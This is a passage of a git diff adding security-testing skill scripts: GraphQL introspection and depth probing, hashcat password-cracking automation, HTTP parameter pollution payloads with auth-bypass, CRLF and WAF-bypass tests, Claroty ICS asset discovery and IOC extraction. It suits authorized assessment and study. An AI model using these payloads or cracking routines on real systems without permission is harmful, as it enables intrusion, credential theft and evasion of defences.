[])] + sensitive_patterns = ["password", "token", "secret", "credential", "ssn", "credit_card", "api_key"] + sensitive_fields = [] + for t in user_types: + for f in t.get("fields", []): + if any(p in f["name"].lower() for p in sensitive_patterns): + sensitive_fields.append({"type": t["name"], "field": f["name"]}) + return { + "url": url, + "introspection_enabled": True, + "total_types": len(user_types), + "queries": queries, + "mutations": mutations, + "sensitive_fields": sensitive_fields, + "finding": "CRITICAL: Introspection enabled — full schema exposed" if user_types else "Schema empty", + "types": [{"name": t["name"], "kind": t["kind"], "field_count": len(t.get("fields", []) or [])} for t in user_types][:50], + } + + +def test_depth_limit(url, max_depth=10, headers=None): + """Test for GraphQL query depth limits.""" + hdrs = {"Content-Type": "application/json"} + if headers: + hdrs.update(headers) + results = [] + for depth in range(1, max_depth + 1): + nested = "{ __typename " * depth + "}" * depth + query = f"query {{ __schema {nested} }}" + try: + resp = requests.post(url, json={"query": query}, headers=hdrs, timeout=10) + results.append({"depth": depth, "status": resp.status_code, "has_errors": "errors" in resp.json()}) + except Exception as e: + results.append({"depth": depth, "error": str(e)}) + break + max_allowed = max((r["depth"] for r in results if r.get("status") == 200), default=0) + return {"url": url, "max_depth_tested": max_depth, "max_allowed_depth": max_allowed, "results": results} + + +def main(): + if not requests: + print(json.dumps({"error": "requests not installed"})) + return + parser = argparse.ArgumentParser(description="GraphQL Introspection Attack Agent") + sub = parser.add_subparsers(dest="command") + i = sub.add_parser("introspect", help="Run introspection query") + i.add_argument("--url", required=True, help="GraphQL endpoint URL") + i.add_argument("--auth-header", help="Authorization header value") + d = sub.add_parser("depth", help="Test query depth limits") + d.add_argument("--url", required=True) + d.add_argument("--max-depth", type=int, default=10) + args = parser.parse_args() + headers = {"Authorization": args.auth_header} if hasattr(args, "auth_header") and args.auth_header else None + if args.command == "introspect": + result = run_introspection(args.url, headers) + elif args.command == "depth": + result = test_depth_limit(args.url, args.max_depth, headers) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-graphql-security-assessment/LICENSE b/skills/performing-graphql-security-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-graphql-security-assessment/LICENSE +++ b/skills/performing-graphql-security-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-hash-cracking-with-hashcat/LICENSE b/skills/performing-hash-cracking-with-hashcat/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-hash-cracking-with-hashcat/LICENSE +++ b/skills/performing-hash-cracking-with-hashcat/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-hash-cracking-with-hashcat/references/api-reference.md b/skills/performing-hash-cracking-with-hashcat/references/api-reference.md new file mode 100644 index 00000000..3835b3e8 --- /dev/null +++ b/skills/performing-hash-cracking-with-hashcat/references/api-reference.md @@ -0,0 +1,40 @@ +# API Reference — Performing Hash Cracking with Hashcat + +## Libraries Used +- **subprocess**: Execute hashcat with various attack modes +- **hashlib**: Generate test hashes (MD5, SHA1, SHA256, SHA512) +- **re**: Pattern matching for hash type identification +- **pathlib**: Read hash files and potfiles + +## CLI Interface +``` +python agent.py identify --hash +python agent.py identify --file hashes.txt +python agent.py crack --hash-file hashes.txt --mode 0 --attack dictionary --wordlist rockyou.txt [--rules best64.rule] +python agent.py crack --hash-file hashes.txt --mode 1000 --attack brute --mask "?u?l?l?l?d?d?d?s" +python agent.py parse --potfile hashcat.potfile +python agent.py gen --text "password123" --algo sha256 +``` + +## Core Functions + +### `identify_hash(hash_string)` — Detect hash type and hashcat mode +Matches against 12 patterns: MD5 (0), SHA1 (100), SHA256 (1400), SHA512 (1700), +NTLM (1000), bcrypt (3200), sha512crypt (1800), md5crypt (500), NetNTLMv2 (5600), +Kerberos TGS (13100), Kerberos AS-REP (18200). + +### `run_hashcat(hash_file, mode, attack, wordlist, rules, mask)` — Execute hashcat +Attack modes: `dictionary` (-a 0), `brute` (-a 3), `combinator` (-a 1). + +### `parse_hashcat_status(potfile)` — Analyze cracked passwords +Returns length distribution, charset analysis, top passwords from potfile. + +### `generate_hash(plaintext, algorithm)` — Create test hashes +Supported: md5, sha1, sha256, sha512. + +## Hashcat Mask Charsets +- `?l` lowercase, `?u` uppercase, `?d` digits, `?s` special, `?a` all + +## Dependencies +System: hashcat (GPU-accelerated hash cracking) +No Python packages required — standard library only. diff --git a/skills/performing-hash-cracking-with-hashcat/scripts/agent.py b/skills/performing-hash-cracking-with-hashcat/scripts/agent.py new file mode 100644 index 00000000..ceda3483 --- /dev/null +++ b/skills/performing-hash-cracking-with-hashcat/scripts/agent.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 +"""Agent for performing hash cracking with hashcat — hash identification, attack management, and result analysis.""" + +import json +import argparse +import subprocess +import hashlib +import re +from pathlib import Path +from datetime import datetime + + +HASH_PATTERNS = { + "MD5": (r"^[a-f0-9]{32}$", 0), + "SHA1": (r"^[a-f0-9]{40}$", 100), + "SHA256": (r"^[a-f0-9]{64}$", 1400), + "SHA512": (r"^[a-f0-9]{128}$", 1700), + "NTLM": (r"^[a-f0-9]{32}$", 1000), + "bcrypt": (r"^\$2[aby]?\$\d+\$.{53}$", 3200), + "sha512crypt": (r"^\$6\$[^\$]+\$[a-zA-Z0-9./]{86}$", 1800), + "sha256crypt": (r"^\$5\$[^\$]+\$[a-zA-Z0-9./]{43}$", 7400), + "md5crypt": (r"^\$1\$[^\$]+\$[a-zA-Z0-9./]{22}$", 500), + "NetNTLMv2": (r"^[^:]+::\S+:[a-f0-9]{16}:[a-f0-9]{32}:[a-f0-9]+$", 5600), + "Kerberos_TGS": (r"^\$krb5tgs\$", 13100), + "Kerberos_AS": (r"^\$krb5asrep\$", 18200), +} + + +def identify_hash(hash_string): + """Identify hash type and return hashcat mode.""" + candidates = [] + for name, (pattern, mode) in HASH_PATTERNS.items(): + if re.match(pattern, hash_string.strip(), re.IGNORECASE): + candidates.append({"type": name, "hashcat_mode": mode}) + return {"hash": hash_string[:40] + "..." if len(hash_string) > 40 else hash_string, "candidates": candidates} + + +def identify_hashes_file(hash_file): + """Identify hash types from a file of hashes.""" + hashes = Path(hash_file).read_text(encoding="utf-8", errors="replace").strip().splitlines() + results = [] + for h in hashes[:100]: + h = h.strip() + if h: + results.append(identify_hash(h)) + types = {} + for r in results: + for c in r["candidates"]: + types[c["type"]] = types.get(c["type"], 0) + 1 + return {"total_hashes": len(results), "type_distribution": types, "samples": results[:5]} + + +def run_hashcat(hash_file, mode, attack="dictionary", wordlist=None, rules=None, mask=None): + """Execute hashcat with specified attack mode.""" + cmd = ["hashcat", "-m", str(mode), "--quiet", "--potfile-disable", "-o", "/tmp/hashcat_out.txt"] + if attack == "dictionary": + if not wordlist: + return {"error": "wordlist required for dictionary attack"} + cmd += ["-a", "0", hash_file, wordlist] + if rules: + cmd += ["-r", rules] + elif attack == "brute": + m = mask or "?a?a?a?a?a?a?a?a" + cmd += ["-a", "3", hash_file, m] + elif attack == "combinator": + if not wordlist: + return {"error": "two wordlists required (comma-separated)"} + wl = wordlist.split(",") + if len(wl) != 2: + return {"error": "combinator needs two wordlists: list1.txt,list2.txt"} + cmd += ["-a", "1", hash_file, wl[0], wl[1]] + else: + return {"error": f"Unknown attack type: {attack}"} + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) + cracked = [] + out_file = Path("/tmp/hashcat_out.txt") + if out_file.exists(): + for line in out_file.read_text().strip().splitlines(): + parts = line.split(":", 1) + if len(parts) == 2: + cracked.append({"hash": parts[0][:30] + "...", "plain": parts[1]}) + return { + "attack": attack, "mode": mode, "cracked_count": len(cracked), + "cracked": cracked[:50], "return_code": result.returncode, + "stderr_snippet": result.stderr[:300] if result.stderr else "", + } + except FileNotFoundError: + return {"error": "hashcat not found in PATH"} + except subprocess.TimeoutExpired: + return {"error": "hashcat timed out after 3600s"} + + +def parse_hashcat_status(potfile): + """Parse hashcat potfile for cracked results.""" + cracked = [] + try: + for line in Path(potfile).read_text(encoding="utf-8", errors="replace").strip().splitlines(): + parts = line.split(":", 1) + if len(parts) == 2: + cracked.append({"hash": parts[0], "plain": parts[1]}) + except FileNotFoundError: + return {"error": f"Potfile not found: {potfile}"} + passwords = [c["plain"] for c in cracked] + length_dist = {} + for p in passwords: + l = len(p) + bucket = f"{l}" if l <= 8 else "9-12" if l <= 12 else "13+" + length_dist[bucket] = length_dist.get(bucket, 0) + 1 + charset = {"lowercase_only": 0, "uppercase_mixed": 0, "with_digits": 0, "with_special": 0} + for p in passwords: + if re.match(r"^[a-z]+$", p): + charset["lowercase_only"] += 1 + elif re.search(r"\d", p): + charset["with_digits"] += 1 + elif re.search(r"[!@#$%^&*()_+=\-\[\]{};:'\",.<>?/\\|`~]", p): + charset["with_special"] += 1 + else: + charset["uppercase_mixed"] += 1 + return { + "total_cracked": len(cracked), + "length_distribution": length_dist, + "charset_analysis": charset, + "top_passwords": [p for p, _ in __import__("collections").Counter(passwords).most_common(10)], + } + + +def generate_hash(plaintext, algorithm="sha256"): + """Generate hash of a plaintext string for testing.""" + algos = {"md5": hashlib.md5, "sha1": hashlib.sha1, "sha256": hashlib.sha256, "sha512": hashlib.sha512} + if algorithm not in algos: + return {"error": f"Unsupported: {algorithm}. Use: {list(algos.keys())}"} + h = algos[algorithm](plaintext.encode()).hexdigest() + return {"plaintext": plaintext, "algorithm": algorithm, "hash": h} + + +def main(): + parser = argparse.ArgumentParser(description="Hashcat Hash Cracking Agent") + sub = parser.add_subparsers(dest="command") + i = sub.add_parser("identify", help="Identify hash type") + i.add_argument("--hash", help="Single hash string") + i.add_argument("--file", help="File containing hashes") + c = sub.add_parser("crack", help="Run hashcat") + c.add_argument("--hash-file", required=True) + c.add_argument("--mode", type=int, required=True, help="Hashcat mode number") + c.add_argument("--attack", default="dictionary", choices=["dictionary", "brute", "combinator"]) + c.add_argument("--wordlist", help="Wordlist path (or two comma-separated for combinator)") + c.add_argument("--rules", help="Hashcat rules file") + c.add_argument("--mask", help="Brute force mask") + p = sub.add_parser("parse", help="Parse potfile results") + p.add_argument("--potfile", required=True) + g = sub.add_parser("gen", help="Generate test hash") + g.add_argument("--text", required=True) + g.add_argument("--algo", default="sha256") + args = parser.parse_args() + if args.command == "identify": + result = identify_hashes_file(args.file) if args.file else identify_hash(args.hash) if args.hash else {"error": "provide --hash or --file"} + elif args.command == "crack": + result = run_hashcat(args.hash_file, args.mode, args.attack, args.wordlist, args.rules, args.mask) + elif args.command == "parse": + result = parse_hashcat_status(args.potfile) + elif args.command == "gen": + result = generate_hash(args.text, args.algo) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-http-parameter-pollution-attack/LICENSE b/skills/performing-http-parameter-pollution-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-http-parameter-pollution-attack/LICENSE +++ b/skills/performing-http-parameter-pollution-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-http-parameter-pollution-attack/references/api-reference.md b/skills/performing-http-parameter-pollution-attack/references/api-reference.md new file mode 100644 index 00000000..4d8b370a --- /dev/null +++ b/skills/performing-http-parameter-pollution-attack/references/api-reference.md @@ -0,0 +1,42 @@ +# API Reference — Performing HTTP Parameter Pollution Attack + +## Libraries Used +- **requests**: Send HTTP requests with duplicate/encoded parameters +- **urllib.parse**: URL encoding and parameter manipulation + +## CLI Interface +``` +python agent.py precedence --url [--param id] +python agent.py test --url [--method GET|POST] +python agent.py waf --url --param --value +``` + +## Core Functions + +### `test_parameter_precedence(url, param_name, headers)` — Detect server parameter handling +Sends duplicate parameters to determine if server uses FIRST, LAST, BOTH, or UNKNOWN value. +Tests three value pairs to establish consistent behavior. + +### `test_hpp_payloads(url, method, headers)` — Execute HPP payload suite +Three categories of payloads: +- **duplicate_param**: Basic duplicate parameter injection +- **encoding_bypass**: URL-encoded, null byte, CRLF injection +- **array_syntax**: PHP arrays, comma-separated, indexed arrays + +Compares responses against baseline to detect anomalies (status/length changes). + +### `test_waf_bypass(url, blocked_param, blocked_value, headers)` — Test WAF evasion +Five bypass techniques: direct, duplicate_first, duplicate_last, encoded, array syntax. +Detects if any technique passes WAF filtering (status 403/406/429 = blocked). + +## Payload Categories +| Category | Count | Purpose | +|---|---|---| +| duplicate_param | 3 | Parameter precedence abuse | +| encoding_bypass | 3 | URL encoding / CRLF injection | +| array_syntax | 3 | PHP/framework array handling | + +## Dependencies +``` +pip install requests +``` diff --git a/skills/performing-http-parameter-pollution-attack/scripts/agent.py b/skills/performing-http-parameter-pollution-attack/scripts/agent.py new file mode 100644 index 00000000..ad9b9754 --- /dev/null +++ b/skills/performing-http-parameter-pollution-attack/scripts/agent.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +"""Agent for performing HTTP parameter pollution (HPP) attack testing.""" + +import json +import argparse +from datetime import datetime +from urllib.parse import urlencode, parse_qs, urlparse + +try: + import requests +except ImportError: + requests = None + + +HPP_PAYLOADS = { + "duplicate_param": [ + {"params": "id=1&id=2", "desc": "Duplicate parameter — tests server-side precedence"}, + {"params": "user=admin&user=guest", "desc": "Duplicate user param — tests auth bypass"}, + {"params": "action=view&action=delete", "desc": "Action override — tests privilege escalation"}, + ], + "encoding_bypass": [ + {"params": "id=1%26admin%3Dtrue", "desc": "URL-encoded & and = inside value"}, + {"params": "id=1%00&admin=true", "desc": "Null byte injection with extra param"}, + {"params": "search=test%0d%0ainjected:header", "desc": "CRLF injection in param value"}, + ], + "array_syntax": [ + {"params": "id[]=1&id[]=2", "desc": "PHP array syntax duplicate"}, + {"params": "id=1,2,3", "desc": "Comma-separated values"}, + {"params": "items[0]=a&items[1]=b", "desc": "Indexed array parameters"}, + ], +} + + +def test_parameter_precedence(url, param_name="id", headers=None): + """Test which parameter value the server uses when duplicated.""" + hdrs = headers or {} + results = [] + test_pairs = [("FIRST", "SECOND"), ("admin", "guest"), ("1", "99999")] + for val1, val2 in test_pairs: + full_url = f"{url}?{param_name}={val1}&{param_name}={val2}" + try: + resp = requests.get(full_url, headers=hdrs, timeout=10, allow_redirects=False) + body = resp.text[:2000] + uses_first = val1 in body and val2 not in body + uses_last = val2 in body and val1 not in body + uses_both = val1 in body and val2 in body + precedence = "FIRST" if uses_first else "LAST" if uses_last else "BOTH" if uses_both else "UNKNOWN" + results.append({ + "values": [val1, val2], "precedence": precedence, + "status": resp.status_code, "content_length": len(body), + }) + except Exception as e: + results.append({"values": [val1, val2], "error": str(e)}) + return {"url": url, "param": param_name, "precedence_tests": results} + + +def test_hpp_payloads(url, method="GET", headers=None): + """Send HPP test payloads and analyze responses.""" + hdrs = headers or {} + results = [] + baseline = None + try: + baseline_resp = requests.get(url, headers=hdrs, timeout=10) + baseline = {"status": baseline_resp.status_code, "length": len(baseline_resp.text)} + except Exception: + pass + for category, payloads in HPP_PAYLOADS.items(): + for payload in payloads: + try: + if method == "GET": + test_url = f"{url}?{payload['params']}" if "?" not in url else f"{url}&{payload['params']}" + resp = requests.get(test_url, headers=hdrs, timeout=10, allow_redirects=False) + else: + resp = requests.post(url, data=payload["params"], headers={**hdrs, "Content-Type": "application/x-www-form-urlencoded"}, timeout=10) + anomaly = False + if baseline: + anomaly = abs(len(resp.text) - baseline["length"]) > 100 or resp.status_code != baseline["status"] + results.append({ + "category": category, "payload": payload["params"], + "desc": payload["desc"], "status": resp.status_code, + "response_length": len(resp.text), "anomaly": anomaly, + }) + except Exception as e: + results.append({"category": category, "payload": payload["params"], "error": str(e)}) + anomalies = [r for r in results if r.get("anomaly")] + return { + "url": url, "method": method, "baseline": baseline, + "total_tests": len(results), "anomalies_found": len(anomalies), + "results": results, "anomaly_details": anomalies, + "finding": "HPP_VULNERABLE" if anomalies else "HPP_NOT_DETECTED", + "severity": "MEDIUM" if anomalies else "INFO", + } + + +def test_waf_bypass(url, blocked_param, blocked_value, headers=None): + """Test if HPP can bypass WAF parameter filtering.""" + hdrs = headers or {} + tests = [ + {"name": "direct", "params": {blocked_param: blocked_value}}, + {"name": "duplicate_first", "params": f"{blocked_param}=benign&{blocked_param}={blocked_value}"}, + {"name": "duplicate_last", "params": f"{blocked_param}={blocked_value}&{blocked_param}=benign"}, + {"name": "encoded", "params": {blocked_param: blocked_value.replace("'", "%27").replace("<", "%3C")}}, + {"name": "array", "params": f"{blocked_param}[]={blocked_value}"}, + ] + results = [] + for test in tests: + try: + if isinstance(test["params"], dict): + resp = requests.get(url, params=test["params"], headers=hdrs, timeout=10, allow_redirects=False) + else: + resp = requests.get(f"{url}?{test['params']}", headers=hdrs, timeout=10, allow_redirects=False) + blocked = resp.status_code in (403, 406, 429) or "blocked" in resp.text.lower()[:500] + results.append({"name": test["name"], "status": resp.status_code, "blocked_by_waf": blocked}) + except Exception as e: + results.append({"name": test["name"], "error": str(e)}) + bypasses = [r for r in results if not r.get("blocked_by_waf") and not r.get("error") and r.get("status") == 200] + return { + "url": url, "param": blocked_param, "tests": results, + "bypass_found": len(bypasses) > 1, + "bypass_methods": [b["name"] for b in bypasses], + } + + +def main(): + if not requests: + print(json.dumps({"error": "requests not installed"})) + return + parser = argparse.ArgumentParser(description="HTTP Parameter Pollution Attack Agent") + sub = parser.add_subparsers(dest="command") + p = sub.add_parser("precedence", help="Test parameter precedence") + p.add_argument("--url", required=True) + p.add_argument("--param", default="id") + t = sub.add_parser("test", help="Run HPP payload tests") + t.add_argument("--url", required=True) + t.add_argument("--method", default="GET", choices=["GET", "POST"]) + w = sub.add_parser("waf", help="Test WAF bypass with HPP") + w.add_argument("--url", required=True) + w.add_argument("--param", required=True) + w.add_argument("--value", required=True) + args = parser.parse_args() + if args.command == "precedence": + result = test_parameter_precedence(args.url, args.param) + elif args.command == "test": + result = test_hpp_payloads(args.url, args.method) + elif args.command == "waf": + result = test_waf_bypass(args.url, args.param, args.value) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ics-asset-discovery-with-claroty/LICENSE b/skills/performing-ics-asset-discovery-with-claroty/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ics-asset-discovery-with-claroty/LICENSE +++ b/skills/performing-ics-asset-discovery-with-claroty/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ics-asset-discovery-with-claroty/references/api-reference.md b/skills/performing-ics-asset-discovery-with-claroty/references/api-reference.md new file mode 100644 index 00000000..2b3be783 --- /dev/null +++ b/skills/performing-ics-asset-discovery-with-claroty/references/api-reference.md @@ -0,0 +1,45 @@ +# API Reference — Performing ICS Asset Discovery with Claroty + +## Libraries Used +- **requests**: HTTP client for Claroty xDome / CTD REST API + +## CLI Interface +``` +python agent.py --url --token assets [--type PLC] [--limit 100] +python agent.py --url --token vulns [--severity critical] [--limit 100] +python agent.py --url --token alerts +python agent.py --url --token topology +``` + +## ClarotyClient Class + +### `get_assets(asset_type, limit)` — Retrieve OT/IoT assets +**Endpoint:** `GET /api/v1/assets` +Filters by type: PLC, HMI, RTU, EWS, Switch, Sensor. + +### `get_asset_detail(asset_id)` — Detailed asset information +**Endpoint:** `GET /api/v1/assets/{id}` + +### `get_vulnerabilities(severity, limit)` — OT vulnerability list +**Endpoint:** `GET /api/v1/vulnerabilities` + +### `get_alerts(status, limit)` — Security alerts +**Endpoint:** `GET /api/v1/alerts` + +### `get_network_segments()` — Network segmentation map +**Endpoint:** `GET /api/v1/network/segments` + +## Core Functions + +### `discover_assets(...)` — Categorize assets by type, vendor, criticality +### `assess_vulnerabilities(...)` — Prioritize OT vulnerabilities by severity +### `get_alerts_summary(...)` — Summarize active security alerts +### `network_topology(...)` — Map Purdue model network zones + +## Authentication +Bearer token via `Authorization: Bearer ` header. + +## Dependencies +``` +pip install requests +``` diff --git a/skills/performing-ics-asset-discovery-with-claroty/scripts/agent.py b/skills/performing-ics-asset-discovery-with-claroty/scripts/agent.py new file mode 100644 index 00000000..3ffcdfa7 --- /dev/null +++ b/skills/performing-ics-asset-discovery-with-claroty/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Agent for performing ICS asset discovery with Claroty xDome/CTD API.""" + +import json +import argparse +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +class ClarotyClient: + """Client for Claroty xDome / Continuous Threat Detection API.""" + + def __init__(self, base_url, api_token): + self.base_url = base_url.rstrip("/") + self.session = requests.Session() + self.session.headers.update({ + "Authorization": f"Bearer {api_token}", + "Content-Type": "application/json", + }) + + def get_assets(self, asset_type=None, limit=100): + """Retrieve discovered OT/IoT assets.""" + params = {"limit": limit} + if asset_type: + params["type"] = asset_type + resp = self.session.get(f"{self.base_url}/api/v1/assets", params=params, timeout=30) + resp.raise_for_status() + return resp.json() + + def get_asset_detail(self, asset_id): + """Get detailed info for a specific asset.""" + resp = self.session.get(f"{self.base_url}/api/v1/assets/{asset_id}", timeout=30) + resp.raise_for_status() + return resp.json() + + def get_vulnerabilities(self, severity=None, limit=100): + """Retrieve vulnerabilities found on OT assets.""" + params = {"limit": limit} + if severity: + params["severity"] = severity + resp = self.session.get(f"{self.base_url}/api/v1/vulnerabilities", params=params, timeout=30) + resp.raise_for_status() + return resp.json() + + def get_alerts(self, status="active", limit=50): + """Retrieve active security alerts.""" + params = {"status": status, "limit": limit} + resp = self.session.get(f"{self.base_url}/api/v1/alerts", params=params, timeout=30) + resp.raise_for_status() + return resp.json() + + def get_network_segments(self): + """Retrieve network segmentation topology.""" + resp = self.session.get(f"{self.base_url}/api/v1/network/segments", timeout=30) + resp.raise_for_status() + return resp.json() + + +def discover_assets(base_url, token, asset_type=None, limit=100): + """Run asset discovery and categorize results.""" + client = ClarotyClient(base_url, token) + data = client.get_assets(asset_type, limit) + assets = data.get("assets", data.get("results", [])) + categories = {} + vendors = {} + for asset in assets: + cat = asset.get("type", asset.get("category", "unknown")) + categories[cat] = categories.get(cat, 0) + 1 + vendor = asset.get("vendor", asset.get("manufacturer", "unknown")) + vendors[vendor] = vendors.get(vendor, 0) + 1 + critical = [a for a in assets if a.get("criticality", "").lower() in ("critical", "high")] + return { + "total_assets": len(assets), + "by_category": categories, + "by_vendor": dict(sorted(vendors.items(), key=lambda x: -x[1])[:20]), + "critical_assets": len(critical), + "assets": [{"id": a.get("id"), "name": a.get("name"), "type": a.get("type"), + "ip": a.get("ip_address", a.get("ip")), "vendor": a.get("vendor"), + "firmware": a.get("firmware_version", ""), "criticality": a.get("criticality")} + for a in assets[:50]], + "timestamp": datetime.utcnow().isoformat(), + } + + +def assess_vulnerabilities(base_url, token, severity=None, limit=100): + """Retrieve and prioritize OT vulnerabilities.""" + client = ClarotyClient(base_url, token) + data = client.get_vulnerabilities(severity, limit) + vulns = data.get("vulnerabilities", data.get("results", [])) + by_severity = {} + for v in vulns: + s = v.get("severity", "unknown") + by_severity[s] = by_severity.get(s, 0) + 1 + return { + "total_vulnerabilities": len(vulns), + "by_severity": by_severity, + "vulnerabilities": [{"cve": v.get("cve_id"), "severity": v.get("severity"), + "asset": v.get("asset_name", v.get("asset_id")), + "description": v.get("description", "")[:200]} + for v in vulns[:30]], + } + + +def get_alerts_summary(base_url, token, status="active"): + """Get security alert summary.""" + client = ClarotyClient(base_url, token) + data = client.get_alerts(status) + alerts = data.get("alerts", data.get("results", [])) + by_type = {} + for a in alerts: + t = a.get("alert_type", a.get("type", "unknown")) + by_type[t] = by_type.get(t, 0) + 1 + return { + "total_alerts": len(alerts), + "status": status, + "by_type": by_type, + "alerts": [{"id": a.get("id"), "type": a.get("alert_type"), + "severity": a.get("severity"), "description": a.get("description", "")[:150], + "asset": a.get("asset_name")} for a in alerts[:20]], + } + + +def network_topology(base_url, token): + """Map OT network segments.""" + client = ClarotyClient(base_url, token) + data = client.get_network_segments() + segments = data.get("segments", data.get("results", [])) + return { + "total_segments": len(segments), + "segments": [{"name": s.get("name"), "subnet": s.get("subnet"), + "asset_count": s.get("asset_count", 0), + "zone": s.get("zone", s.get("purdue_level", ""))} + for s in segments], + } + + +def main(): + if not requests: + print(json.dumps({"error": "requests not installed"})) + return + parser = argparse.ArgumentParser(description="ICS Asset Discovery with Claroty Agent") + parser.add_argument("--url", required=True, help="Claroty xDome/CTD base URL") + parser.add_argument("--token", required=True, help="API token") + sub = parser.add_subparsers(dest="command") + a = sub.add_parser("assets", help="Discover OT/IoT assets") + a.add_argument("--type", help="Filter by asset type (PLC, HMI, RTU, etc.)") + a.add_argument("--limit", type=int, default=100) + v = sub.add_parser("vulns", help="List vulnerabilities") + v.add_argument("--severity", help="Filter by severity") + v.add_argument("--limit", type=int, default=100) + sub.add_parser("alerts", help="Get active alerts") + sub.add_parser("topology", help="Map network segments") + args = parser.parse_args() + if args.command == "assets": + result = discover_assets(args.url, args.token, args.type, args.limit) + elif args.command == "vulns": + result = assess_vulnerabilities(args.url, args.token, args.severity, args.limit) + elif args.command == "alerts": + result = get_alerts_summary(args.url, args.token) + elif args.command == "topology": + result = network_topology(args.url, args.token) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-indicator-lifecycle-management/LICENSE b/skills/performing-indicator-lifecycle-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-indicator-lifecycle-management/LICENSE +++ b/skills/performing-indicator-lifecycle-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-indicator-lifecycle-management/references/api-reference.md b/skills/performing-indicator-lifecycle-management/references/api-reference.md new file mode 100644 index 00000000..0b034fe6 --- /dev/null +++ b/skills/performing-indicator-lifecycle-management/references/api-reference.md @@ -0,0 +1,45 @@ +# API Reference — Performing Indicator Lifecycle Management + +## Libraries Used +- **csv**: Parse IOC feed CSV files +- **re**: Pattern matching for IOC extraction (IP, domain, hash, URL, email, CVE) +- **pathlib**: Read text reports for IOC extraction + +## CLI Interface +``` +python agent.py extract --file threat_report.txt +python agent.py ingest --csv ioc_feed.csv +python agent.py expire --csv ioc_db.csv [--ttl 90] +python agent.py dedup --csv ioc_feed.csv +python agent.py report --csv ioc_db.csv [--ttl 90] +``` + +## Core Functions + +### `extract_iocs(text_file)` — Extract IOCs from unstructured text +Regex patterns for: IPv4, domain, MD5, SHA1, SHA256, URL, email, CVE. + +### `ingest_ioc_feed(csv_file)` — Normalize IOC feed data +Auto-detects IOC type if not specified. Normalizes column names across feed formats. + +### `check_expiration(ioc_db_file, ttl_days)` — Identify expired indicators +Compares first_seen date against TTL threshold (default 90 days). + +### `deduplicate_iocs(csv_file)` — Merge duplicate IOCs +Groups by indicator value, tracks source attribution and occurrence count. + +### `generate_lifecycle_report(csv_file, ttl_days)` — Full lifecycle status +Combines ingestion, deduplication, and expiration into single report. + +## IOC Pattern Types +| Type | Example | +|------|---------| +| ipv4 | 192.168.1.1 | +| domain | evil.example.com | +| md5 | d41d8cd98f00b204e9800998ecf8427e | +| sha256 | e3b0c44298fc1c149afbf4c8996fb924... | +| url | https://malware.example.com/payload | +| cve | CVE-2024-12345 | + +## Dependencies +No external packages — Python standard library only. diff --git a/skills/performing-indicator-lifecycle-management/scripts/agent.py b/skills/performing-indicator-lifecycle-management/scripts/agent.py new file mode 100644 index 00000000..49a70145 --- /dev/null +++ b/skills/performing-indicator-lifecycle-management/scripts/agent.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python3 +"""Agent for performing indicator of compromise (IOC) lifecycle management.""" + +import json +import argparse +import csv +import re +import hashlib +from datetime import datetime, timedelta +from pathlib import Path + + +IOC_PATTERNS = { + "ipv4": re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b"), + "domain": re.compile(r"\b(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}\b"), + "md5": re.compile(r"\b[a-f0-9]{32}\b", re.I), + "sha256": re.compile(r"\b[a-f0-9]{64}\b", re.I), + "sha1": re.compile(r"\b[a-f0-9]{40}\b", re.I), + "url": re.compile(r"https?://[^\s<>\"']+"), + "email": re.compile(r"\b[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\b"), + "cve": re.compile(r"CVE-\d{4}-\d{4,}", re.I), +} + + +def extract_iocs(text_file): + """Extract IOCs from a text file or report.""" + text = Path(text_file).read_text(encoding="utf-8", errors="replace") + extracted = {} + for ioc_type, pattern in IOC_PATTERNS.items(): + matches = list(set(pattern.findall(text))) + if matches: + extracted[ioc_type] = matches[:100] + total = sum(len(v) for v in extracted.values()) + return {"source": text_file, "total_iocs": total, "by_type": {k: len(v) for k, v in extracted.items()}, "indicators": extracted} + + +def ingest_ioc_feed(csv_file): + """Ingest IOC feed from CSV and normalize.""" + with open(csv_file, "r", encoding="utf-8", errors="replace") as f: + reader = 